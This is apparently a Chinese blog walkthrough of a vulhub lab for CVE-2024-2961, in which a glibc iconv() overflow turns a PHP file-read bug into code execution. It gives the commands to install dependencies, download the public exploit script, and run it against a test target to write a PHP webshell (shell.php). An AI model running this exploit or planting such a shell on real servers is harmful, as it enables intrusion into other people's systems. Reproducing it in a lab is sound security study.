vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
咚为19 分钟前
Rust 跨平台编译实战:从手动配置到 Cross 容器化
开发语言·后端·rust
永远睡不够的入22 分钟前
C++STL详解2:stack和queue
开发语言·c++
宵时待雨32 分钟前
C++笔记归纳11:多态
开发语言·c++·笔记
钢琴上的汽车软件32 分钟前
用 C 语言实现面向对象:pThis 模式技术解析
c语言·面向对象
爱编码的小八嘎37 分钟前
C语言完美演绎3-13
c语言
自信1504130575938 分钟前
数据结构之实现链式结构二叉树
c语言·数据结构·算法
小道士写程序39 分钟前
Babylon.js WebGPU Ocean Demo — 完整踩坑记录
开发语言·javascript·ecmascript
Code知行合壹44 分钟前
JDK10新特性
开发语言·jdk
qq_390760391 小时前
简单的线程安全日志记录器
开发语言·数据库·c#
T1an-11 小时前
C++11智能指针shared_ptr的控制块内都有什么?
开发语言·c++